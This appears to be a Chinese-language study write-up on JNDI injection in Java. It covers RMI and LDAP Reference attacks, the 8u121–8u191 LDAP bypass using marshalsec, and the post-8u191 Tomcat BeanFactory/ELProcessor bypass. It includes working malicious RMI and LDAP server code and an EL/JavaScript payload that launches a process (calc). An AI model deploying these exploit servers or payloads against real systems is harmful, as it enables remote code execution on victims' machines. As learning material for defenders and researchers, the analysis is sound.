JNDI注入

什么是JNDI

Java命名目录接口(Java Naming and Directory Interface),作用是为JAVA应用程序提供命名和目录访问服务的API(application programming interface)。

可绑定的对象有哪些:

* 轻量级目录访问协议 (LDAP)
* 通用对象请求代理体系结构 (CORBA) 通用对象服务 (COS) 名称服务
* Java 远程方法调用 (RMI) 注册表
* 域名服务 (DNS)

前三种都是支持一种字符串就绑定一种对象

注:这里JDNI注入就可以用到我们之前的RMI的知识了。之前一直不知道学了RMI有什么用,一直想着怎么利用RMI造成攻击来着,今天总算清楚点了,原来RMI是一个功能,并不是一个漏洞,他不能自己造成攻击,他需要配合其他的东西来造成攻击。

先来回顾一下RMI的简单流程:

起一个JNDIServer:

package org.example;

import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;



public class JNDIServer {
    public static void main(String[] args) throws Exception{
        LocateRegistry.createRegistry(1099);
        InitialContext initialContext = new InitialContext();
        initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
    }
}
代码逻辑:
1.创建注册中心
2.创建上下文容器
3.容器绑定服务

运行Client:

package org.example;

import javax.naming.InitialContext;
import java.rmi.RemoteException;


public class RMIClient {
    public static void main(String[] args) throws Exception, RemoteException {
        InitialContext initialContext = new InitialContext();
        IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
        System.out.println(remoteObj.sayHello("hello"));
    }
}

如此就完成了最简单的Server端与Client端交互

现在假设这样一个场景:

在Client端允许我们控制​rmi://localhost:1099/remoteObj​,即lookup(Path)​的Path​。就可以使用一个恶意服务来使得客户端允许恶意代码造成代码执行,这就是所谓的JNDI注入。

根据官方文档:

​​​​
我们可以得到可以绑定的对象有:

1.Java可序列化对象
2.可引用对象和JNDI引用
3.具有属性的对象(DirContext)
4.RMI对象
5.CORBA对象

在上述示例中我们绑定的是RMI对象,但是通常我们所说的JNDI注入一般是绑定 引用对象 所造成的攻击
首先介绍一下 这个引用对象​`Reference类`​的构造函数:
public Reference(String className, RefAddr addr,
                     String factory, String factoryLocation) {
        this(className, addr);
        classFactory = factory;
        classFactoryLocation = factoryLocation;
    }
className 类名
factory 工厂名
factoryLocation工厂路径

这个工厂就是具体的代码逻辑,允许代码执行,但是忽略了恶意代码执行,因此存在注入攻击

演示代码

JNDIServer:

package org.example;

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;



public class JNDIServer {
    public static void main(String[] args) throws Exception{
        LocateRegistry.createRegistry(1099);
        InitialContext initialContext = new InitialContext();
//        initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
        Reference reference = new Reference("TestRef", "TestRef", "http://localhost:9999/");

        initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
    }
}

注意​initialContext.rebind("rmi://localhost:1099/remoteObj", reference);​中是绑定到RMI服务上面,不是使用http协议

JNDIClient:

package org.example;

import javax.naming.InitialContext;
import java.rmi.RemoteException;


public class RMIClient {
    public static void main(String[] args) throws Exception, RemoteException {
        InitialContext initialContext = new InitialContext();
        IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
        System.out.println(remoteObj.sayHello("hello"));
    }
}

然后预先编译好一个恶意类:(注意这个要加载的恶意类不能有package之类的,这样子到时候无法执行)

import java.io.IOException;

public class TestRef {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

演示步骤:

1.将编译好的恶意类放在一个目录下,并启动http服务:
python -m http.server 9999
​​​​
2.开启JNDIServer服务
3.允许Client
效果:
​​​​

PS:这里没有报错是因为没有找到remote.sayHello

结论

如果​Client​端的lookup(Path)​的Path​我们可以控制就可以利用构造恶意引用对象达到恶意攻击Client​端

流程分析

这里的JNDI是怎么执行到这个恶意类的代码的,我们从lookup下个断点跟进去看看

这里调试可能会没有源码,因为这个问题卡了我半小时多快气死了给师傅们src.zip少走点弯路吧​📎src.zip

我们下断点开始调试:
​​​​
跟到lookup里面
​​​​
再跟到lookup里
​​​​
依旧跟到lookup里
​​​​
到这一步可以看到获取到的是​obj​是ReferenceWrapper_Stub
这很奇怪,按理来说在服务端绑定的是​Reference​,

客户端查找服务为什么变成了ReferenceWrapper_Stub

这里我们可以从服务端调试一下
绑定的时候肯定没问题就是​Reference​类,那么出问题的地方肯定就是在rebind​那里了
下断点跟到​rebind​里调试,一样是一路跟进rebind,直到RegistryContext类
​​​​
在这一步进行​encodeObject​之前他还是保持Reference​类
我们跟到​encodeObject​中去看一下
​​​​
可以看到这里检测如果obj是Reference类就爆他包装成ReferenceWrapper类返回
接下来我们回头看调用的时候
​​​​
因为服务端包装的时候encode了,所以客户端解析的时候肯定decode一下,再跟进去看(可以猜到是相反的逻辑):
​​​​
可以看到是已经又返回成了​Reference​类
我们这里可以留意到我们还在​RegistryContext​里面并且即将退出RegistryContext​这个类这个类是RMI​对应这个RegistryContext​,但是还没有初始化,要到NamingManager​类中去。因此这里执行代码的逻辑和容器的环境并没有关系,并不是RMI才独有这个漏洞,这个后续绕过的时候会再次用到这个点。(后面高版本绕过还会提到)
​​​​
接下来到静态函数中发现这里会从引用中找到对象工厂,跟进去看他的逻辑
​​​​
发现直接利用loadClass进行加载,再跟进去看看loadClass的逻辑
​​​​
首先​loadClass​要获取类加载器,发现这里的getConetxtClassloader()​获取不到类加载器,于是到下一个loadClass
​​​​
可以看到这里是一个​AppclassLoader​,跟进去
发现他使用codebase去获取类加载器:

​​​​
codebase就是我们传入的http服务
​​​​​​
这里利用了URLClassLoader来加载,那么就可以加载到我们的http服务的类
并且这里使用了newInstance,说明这里会对类进行初始化,所以如果我们把恶意代码写道静态代码块中,下一步就可以弹出计算器了,我们执行下一步:

可以看到弹出计算器了
就是是写在构造函数中的代码也可以得到执行,因为后续代码有​Class.forName(className, true, cl);​设置了true选项,会对类进行实例化,这样子构造函数中的恶意代码也可以得到执行
​​​​

小结

攻击面有两个方法:

1.原生RMI的漏洞问题
2.JNDI独有的引用问题,就是上面的分析流程产生的安全问题
[+]我们常说的JDNI注入就是第二个方法(引用)

版本(8u121<jdk<8u191)​绕过

客户端还是很简单:

package org.example;

import javax.naming.InitialContext;
import java.rmi.RemoteException;


public class RMIClient {
    public static void main(String[] args) throws Exception, RemoteException {
        InitialContext initialContext = new InitialContext();
        IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("ldap://localhost:8888/TestRef");
        System.out.println(remoteObj.sayHello("hello"));
    }
}
//8u141

环境先搭好,8u121之前就只剩下一个LDAP方式可以利用攻击了,所以要有一个LDAP服务器
推荐两种方式:

  1. 直接用Java代码生成一个,本地运行
package org.example;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://192.168.43.88/#test"};
        int port = 7777;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

//记得添加依赖:
/*
<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.1.1</version>
</dependency>
*/
  1. 用github上的项目
    这里就用github上的项目了
    https://github.com/mbechler/marshalsec
    在本地打包成jar包之后就可以运行了
    打包完之后进入target项目,运行命令:
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer [http://localhost:9999/#TestRef](http://localhost:9999/#TestRef) 8888

这样子就算在本地起了一个LDAP服务了
含义:

监听8888端口,当接收到ldap请求后,会去​[http://localhost](http://localhost:80):9999这个服务下寻找TestRef.class

流程分析

流程演示

1.首先本地在恶意类这里开一个http服务,让LDAP接收
​​​​
2.然后把LDAP服务开起来:

java -jar .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer [http://localhost:9999/#TestRef](http://localhost:9999/#TestRef) 8888

​​​​
如果接收到http服务,这里会显示​Listening on 0.0.0.0:8888
运行效果:(8u141)
​​​​​​

代码分析

在​lookup​这里下个断点进去找
前面都一路跟着​lookup​,一直到c_lookup​进入到类ldapctx​里面
进入到一处:

if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) {
                // serialized object or object reference
                obj = Obj.decodeObject(attrs);
            }

这里会获取ldap的属性,进入decodeObject,看一下他解析的逻辑:

String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
        try {
            if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
                ClassLoader cl = helper.getURLClassLoader(codebases);
                return deserializeObject((byte[])attr.get(), cl);
            } else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
                // For backward compatibility only
                return decodeRmiObject(
                    (String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
                    (String)attr.get(), codebases);
            }

            attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
            if (attr != null &&
                (attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
                    attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
                return decodeReference(attrs, codebases);
            }
            return null;
        } catch (IOException e) {
            NamingException ne = new NamingException();
            ne.setRootCause(e);
            throw ne;
        }

我们知道JNDI支持:

  • 序列化对象 –> 对应deserializeObject((byte[])attr.get(), cl);
  • 远程对象 –> 对应decodeRmiObject((String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),(String)attr.get(), codebases);
  • ldap对象 –> 对应decodeReference(attrs, codebases);
    这里因为我们是一个引用对象,所以他会走到​decodeReference(attrs, codebases);
    在​decodeReference​这个里面呢主要就是获取恶意类的类名,地址之类的,解析完成:
    ​​​​
    现在有类名,地址,那么就是查找远程恶意类了
    ​​​​
    一直走到这个地方,这里是执行​DirectoryManager.getObjectInstance​。上次调试原生JNDI攻击的时候是调用的NamingManager.getObjectInstace​,都是这样通过调用getObjectInstance​方法走出自己类所对应的Context类
    然后走到工厂引用里面去找类:
    ​​​​
    后面的流程就都一样了
    loadclass:
    ​​​​
    使用URLLoadClass:
    ​​​​
    接下来forname实例化:
    ​​​​​​
    这个流程就和之前分析的一样了

高版本绕过(JDK>8u191)

前言

在8u191之后在LDAP那里也加了一个trustURLCodebase的判断,因此LDAP这一条路也被封死了。
因此现在LDAP、RMI等攻击手法都被封锁了。我们想要从远程加载类就变得异常困难,我们可以重新看一下代码的逻辑:
从本地尝试加载类->加载不到则从远程加载类
那么无法从远程加载类,是否可以从本机尝试加载这个类,并达到RCE的目的呢?
答案是有的,不过对客户端的环境有所需求,不过其实这个条件也不算是特别苛刻。因为这里用到的是tomcat内置的包,现在比较主流的Java网站不少都是使用springboot搭建的,而springboot内置的就是Tomcat

介绍

先来看一下关键先生:BeanFactory类 这个类就是可以利用的恶意类
这个类实现了ObjectFactory接口,ObjectFactory接口里面只有一个抽象方法:getObjectInstance

public interface ObjectFactory {
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,Hashtable<?,?> environment) throws Exception;
}

恶意类需满足的条件

只要远程加载地址​factoryClassLocation​为null时NamingManager.getObjectInstance​ 这个代码就会在com.sun.jndi.rmi.registry.RegistryContext.java​中运行
因为​RegistryContext​是RMI对应的利用类即利用RMI且不加载远程地址就会执行这个利用链。而NamingManager.getObjectInstance ​又会执行getObjectFactoryFromReference
getObjectFactoryFromReference ​这是一个静态方法,这个静态方法会返回ObjectFactory​类型,并且这里使用了newInstance构造,所以这个类还需要满足拥有无参构造方法
ObjectFactory​我们上面有提到是一个接口类,他只有一个抽象方法,getObjectFactory

public interface ObjectFactory {
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,Hashtable<?,?> environment) throws Exception;
}

而刚刚好​org.apache.naming.factory.BeanFactory​满足所有要求,在BeanFacory​中的getObjectInstance​可以精心构造,从而执行恶意代码。

但是若是想要执行这个恶意代码还需要一个​JavaBean​,JaveBean​需要满足的条件:
(1)​forceString​指定某个特殊方法名
RefAddr ra = ref.get("forceString");
(2)拥有无参构造方法
beanClass.newInstance()
(3)含有恶意方法

public class ELProcessor {
 public Object eval(String expression) {
        return this.getValue(expression, Object.class);
 }
}

运行流程

需要提前设置好pom的依赖:

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.0</version>
</dependency>

<dependency>
    <groupId>org.apache.el</groupId>
    <artifactId>com.springsource.org.apache.el</artifactId>
    <version>7.0.26</version>
</dependency>

我这里Maven用的是阿里云的镜像,这个el文件加载不到,于是我下了一个jar包,然后导入进去就可以了
📎com.springsource.org.apache.el-7.0.26.jar
RMIServer端:

package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class LDAPServer {
    public static void main(String[] args) throws Exception{

        System.out.println("Creating evil RMI registry on port 1099");
        Registry registry = LocateRegistry.createRegistry(1099);

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);

    }
}

RMIClient端:

package org.example;

import javax.naming.InitialContext;

public class RmiClient {
    public static void main(String[] args) throws Exception{
        new InitialContext().lookup("rmi://127.0.0.1:1099/Object");
    }
}

运行结果:

流程分析

一路跟进lookup直到​RegistryContext​的decodeObject​中
不加载远程类进入​NamingManager
进入​NamingManager​之后是调用BeanFactory​的getObjectInstance
46行加载恶意的​JavaBean​类ELProcessor
58行获取​forceString​的属性,即x=eval
这一步可以使得强制将bean对象某个属性的setter方法名指定为非setXXX()。从而就算不用使用setxxx()的方法也可以传入beanClas.getMethod()中,这样就可以成功把我们恶意的代码放到hashMap中。
再通过我们第二个add的元素x来作为方法名反射获取一个参数类型是 ​​String.class​的方法
后面反射调用就成功执行恶意代码了

踩的坑

坑1

RMIServer端代码有问题:

package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import org.apache.naming.ResourceRef;

public class LDAPServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        InitialContext initialContext = new InitialContext();
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "",
                true, "org.apache.naming.factory.BeanFactory", (String)null);
        resourceRef.add(new StringRefAddr("forceString", "x=eval"));
        resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));
        initialContext.rebind("rmi://127.0.0.1:1099/exp", resourceRef);
        System.out.println("Creating evil RMI registry on port 1099");
    }
}

报错:

Exception in thread "main" javax.naming.NamingException: Forced String setter eval threw exception for property x
    at org.apache.naming.factory.BeanFactory.getObjectInstance(BeanFactory.java:215)
    at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:321)
    at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:499)
    at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
    at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
    at javax.naming.InitialContext.lookup(InitialContext.java:417)
    at org.example.RmiClient.main(RmiClient.java:7)

原因chatgpt说是:

这段代码中创建的ResourceRef对象中的攻击代码也不同于之前的代码。
它使用了Java的反射机制动态加载并执行了一个JavaScript脚本,以触发远程命令执行。这种方式比之前代码中的攻击代码更灵活和可移植,
因为JavaScript引擎是Java标准库的一部分,不依赖于特定的JDK实现或其他依赖项。

因此,这段代码可以在大多数JDK版本中运行,并且具有更好的可移植性和灵活性,可以更容易地触发远程命令执行。

坑2

试图使用SpringBoot启动,因为​SpringBoot​自带tomcat。但是现在新建的SpringBoot​的Tomcat​的版本都是9.x,而这个漏洞在Tomcat版本8.5.85已经被修复了,如果试图修改SpringBoot​内置的tomcat​也有办法,但是麻烦麻烦麻烦。

如果打高版本的​Tomcat​就会出现如下报错信息:

四月 14, 2023 12:17:31 下午 org.apache.naming.factory.BeanFactory getObjectInstance
警告: The forceString option has been removed as a security hardening measure. Instead, if the setter method doesn't use String, a primitive or a primitive wrapper, the factory will look for a method with the same name as the setter that accepts a String and use that if found.
Exception in thread "main" javax.naming.NamingException: No set method found for property [x]
    at org.apache.naming.factory.BeanFactory.getObjectInstance(BeanFactory.java:206)
    at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:321)
    at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:499)
    at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
    at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
    at javax.naming.InitialContext.lookup(InitialContext.java:417)
    at com.example.demospring.RMIClient.main(RMIClient.java:10)